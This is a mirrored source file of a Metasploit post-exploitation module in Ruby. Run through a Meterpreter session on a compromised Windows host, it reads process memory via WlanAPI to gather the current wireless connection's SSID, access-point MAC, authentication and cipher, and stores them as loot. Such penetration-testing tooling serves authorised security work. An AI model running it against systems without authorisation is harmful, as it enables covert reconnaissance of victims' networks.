CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/wlan/wlan_current_connection.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Windows Gather Wireless Current Connection Info',
14
'Description' => %q{
15
This module gathers information about the current connection on each
16
wireless lan interface on the target machine.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => ['theLightCosine'],
20
'Platform' => [ 'win' ],
21
'SessionTypes' => [ 'meterpreter' ],
22
'Compat' => {
23
'Meterpreter' => {
24
'Commands' => %w[
25
stdapi_railgun_api
26
stdapi_sys_process_attach
27
stdapi_sys_process_getpid
28
]
29
}
30
}
31
)
32
)
33
end
34
35
def run
36
# Opens memory access into the host process
37
mypid = client.sys.process.getpid
38
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
39
@wlanapi = client.railgun.wlanapi
40
41
wlan_connections = "Wireless LAN Active Connections: \n"
42
wlan_handle = open_handle
43
unless wlan_handle
44
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
45
print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')
46
return
47
end
48
wlan_iflist = enum_interfaces(wlan_handle)
49
50
wlan_iflist.each do |interface|
51
connect_info = query_current_connection(wlan_handle, interface['guid'])
52
guid = guid_to_string(interface['guid'])
53
wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n"
54
if connect_info
55
wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
56
wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
57
wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
58
wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
59
wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
60
wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
61
wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
62
else
63
wlan_connection << "\tThis interface is not currently connected to a network\n"
64
end
65
print_good(wlan_connection)
66
wlan_connections << wlan_connection
67
end
68
69
wlan_connections.gsub!(/\x00/, '')
70
store_loot('host.windows.wlan.connections', 'text/plain', session, wlan_connections, 'wlan_connections.txt', 'Wireless LAN Connections')
71
# close the Wlan API Handle
72
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
73
if closehandle['return'] == 0
74
print_status('WlanAPI Handle Closed Successfully')
75
else
76
print_error('There was an error closing the Handle')
77
end
78
end
79
80
def open_handle
81
begin
82
wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)
83
rescue StandardError
84
return nil
85
end
86
return wlhandle['phClientHandle']
87
end
88
89
def query_current_connection(wlan_handle, guid)
90
connection = {}
91
conn_info = @wlanapi.WlanQueryInterface(wlan_handle, guid, 7, nil, 4, 4, nil)
92
# Grab the pointer to our data structure. We skip voer the Interface State since we already have it
93
# We interpret the connection mode used first
94
pointer = conn_info['ppData']
95
pointer = (pointer + 4)
96
mode = @host_process.memory.read(pointer, 4)
97
mode = mode.unpack('V')[0]
98
case mode
99
when 0
100
connection['mode'] = 'A profile is used to make the connection.'
101
when 1
102
connection['mode'] = 'A temporary profile is used to make the connection.'
103
when 2
104
connection['mode'] = 'Secure discovery is used to make the connection.'
105
when 3
106
connection['mode'] = 'Unsecure discovery is used to make the connection.'
107
when 4
108
connection['mode'] = 'connection initiated by wireless service automatically using a persistent profile.'
109
when 5
110
connection['mode'] = 'Invalid connection mode.'
111
else
112
connection['state'] = 'Unknown connection Mode.'
113
end
114
115
# Grab the wirelessprofile name used in the connection
116
pointer = (pointer + 4)
117
profile = @host_process.memory.read(pointer, 512)
118
connection['profile'] = profile.gsub(/\x00/, '')
119
120
# Check the size of the SSID value. If we get nothing back, the interface is not currently connected
121
# We return nil and deal with the results back in the calling function
122
pointer = (pointer + 512)
123
len_ssid = @host_process.memory.read(pointer, 4)
124
unless len_ssid.unpack('V')[0]
125
return nil
126
end
127
128
# Grabs the SSID of the BSS connected to
129
pointer = (pointer + 4)
130
ssid = @host_process.memory.read(pointer, 32)
131
connection['ssid'] = ssid.gsub(/\x00/, '')
132
133
# Grabs what type of a BSS this is and itnerpretes it into human readable
134
pointer = (pointer + 32)
135
bsstype = @host_process.memory.read(pointer, 4)
136
bsstype = bsstype.unpack('V')[0]
137
case bsstype
138
when 1
139
connection['type'] = 'Infrastructure'
140
when 2
141
connection['type'] = 'Independent'
142
when 3
143
connection['type'] = 'Any'
144
else
145
connection['type'] = 'Unknown BSS Type'
146
end
147
148
# Grabs the BSS MAC address
149
pointer = (pointer + 4)
150
bssid = @host_process.memory.read(pointer, 6)
151
bssid = bssid.unpack('H*')[0]
152
bssid.insert(2, ':')
153
bssid.insert(5, ':')
154
bssid.insert(8, ':')
155
bssid.insert(11, ':')
156
bssid.insert(14, ':')
157
connection['bssid'] = bssid
158
159
# Grabs the physical association type and interprets it into human readable
160
pointer = (pointer + 8)
161
phy_type = @host_process.memory.read(pointer, 4)
162
phy_type = phy_type.unpack('V')[0]
163
case phy_type
164
when 1
165
connection['physical'] = 'Frequency-hopping spread-spectrum (FHSS)'
166
when 2
167
connection['physical'] = 'Direct sequence spread spectrum (DSSS)'
168
when 3
169
connection['physical'] = 'Infrared (IR) baseband'
170
when 4
171
connection['physical'] = 'Orthogonal frequency division multiplexing (OFDM)'
172
when 5
173
connection['physical'] = 'High-rate DSSS (HRDSSS)'
174
when 6
175
connection['physical'] = 'Extended rate PHY type'
176
when 7
177
connection['physical'] = '802.11n PHY type'
178
else
179
connection['physical'] = 'Unknown Association Type'
180
end
181
182
# Grabs the signal strength value
183
pointer = (pointer + 8)
184
signal = @host_process.memory.read(pointer, 4)
185
connection['signal'] = signal.unpack('V')[0]
186
187
# Grabs the recieve rate value
188
pointer = (pointer + 4)
189
rxrate = @host_process.memory.read(pointer, 4)
190
connection['rxrate'] = rxrate.unpack('V')[0]
191
192
# Grabs the transmit rate value
193
pointer = (pointer + 4)
194
txrate = @host_process.memory.read(pointer, 4)
195
connection['txrate'] = txrate.unpack('V')[0]
196
197
# Checks if security is enabled on this BSS
198
pointer = (pointer + 4)
199
security_enabled = @host_process.memory.read(pointer, 4)
200
if security_enabled.unpack('V')[0] == 1
201
connection['security'] = 'Yes'
202
else
203
connection['security'] = 'No'
204
end
205
206
# Checks of 802.1x Authentication is used
207
pointer = (pointer + 4)
208
onex = @host_process.memory.read(pointer, 4)
209
if onex.unpack('V')[0] == 1
210
connection['oneX'] = 'Yes'
211
else
212
connection['oneX'] = 'No'
213
end
214
215
# Determines wat Authentication Algorithm is being used
216
pointer = (pointer + 4)
217
algo = @host_process.memory.read(pointer, 4)
218
algo = algo.unpack('V')[0]
219
case algo
220
when 1
221
connection['auth'] = '802.11 Open'
222
when 2
223
connection['auth'] = '802.11 Shared'
224
when 3
225
connection['auth'] = 'WPA'
226
when 4
227
connection['auth'] = 'WPA-PSK'
228
when 5
229
connection['auth'] = 'WPA-None'
230
when 6
231
connection['auth'] = 'RSNA'
232
when 7
233
connection['auth'] = 'RSNA with PSK'
234
else
235
connection['auth'] = 'Unknown Algorithm'
236
end
237
238
# Determines what Cipher is being used
239
pointer = (pointer + 4)
240
cipher = @host_process.memory.read(pointer, 4)
241
cipher = cipher.unpack('V')[0]
242
case cipher
243
when 0
244
connection['cipher'] = 'None'
245
when 1
246
connection['cipher'] = 'WEP-40'
247
when 2
248
connection['cipher'] = 'TKIP'
249
when 4
250
connection['cipher'] = 'CCMP'
251
when 5
252
connection['cipher'] = 'WEP-104'
253
when 256
254
connection['cipher'] = 'Use Group Key'
255
when 257
256
connection['cipher'] = 'WEP'
257
else
258
connection['cipher'] = 'Unknown Cipher'
259
end
260
return connection
261
end
262
263
def enum_interfaces(wlan_handle)
264
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)
265
pointer = iflist['ppInterfaceList']
266
267
numifs = @host_process.memory.read(pointer, 4)
268
numifs = numifs.unpack('V')[0]
269
270
interfaces = []
271
272
# Set the pointer ahead to the first element in the array
273
pointer = (pointer + 8)
274
(1..numifs).each do |_i|
275
interface = {}
276
# Read the GUID (16 bytes)
277
interface['guid'] = @host_process.memory.read(pointer, 16)
278
pointer = (pointer + 16)
279
# Read the description(up to 512 bytes)
280
interface['description'] = @host_process.memory.read(pointer, 512)
281
pointer = (pointer + 512)
282
# Read the state of the interface (4 bytes)
283
state = @host_process.memory.read(pointer, 4)
284
pointer = (pointer + 4)
285
286
# Turn the state into human readable form
287
state = state.unpack('V')[0]
288
case state
289
when 0
290
interface['state'] = 'The interface is not ready to operate.'
291
when 1
292
interface['state'] = 'The interface is connected to a network.'
293
when 2
294
interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'
295
when 3
296
interface['state'] = 'The interface is disconnecting from the current network.'
297
when 4
298
interface['state'] = 'The interface is not connected to any network.'
299
when 5
300
interface['state'] = 'The interface is attempting to associate with a network.'
301
when 6
302
interface['state'] = 'Auto configuration is discovering the settings for the network.'
303
when 7
304
interface['state'] = 'The interface is in the process of authenticating.'
305
else
306
interface['state'] = 'Unknown State'
307
end
308
interfaces << interface
309
end
310
return interfaces
311
end
312
313
# Convert the GUID to human readable form
314
def guid_to_string(guid)
315
aguid = guid.unpack('H*')[0]
316
sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]
317
sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]
318
sguid << '-' + aguid[20, 12] + '}'
319
return sguid
320
end
321
end
322
323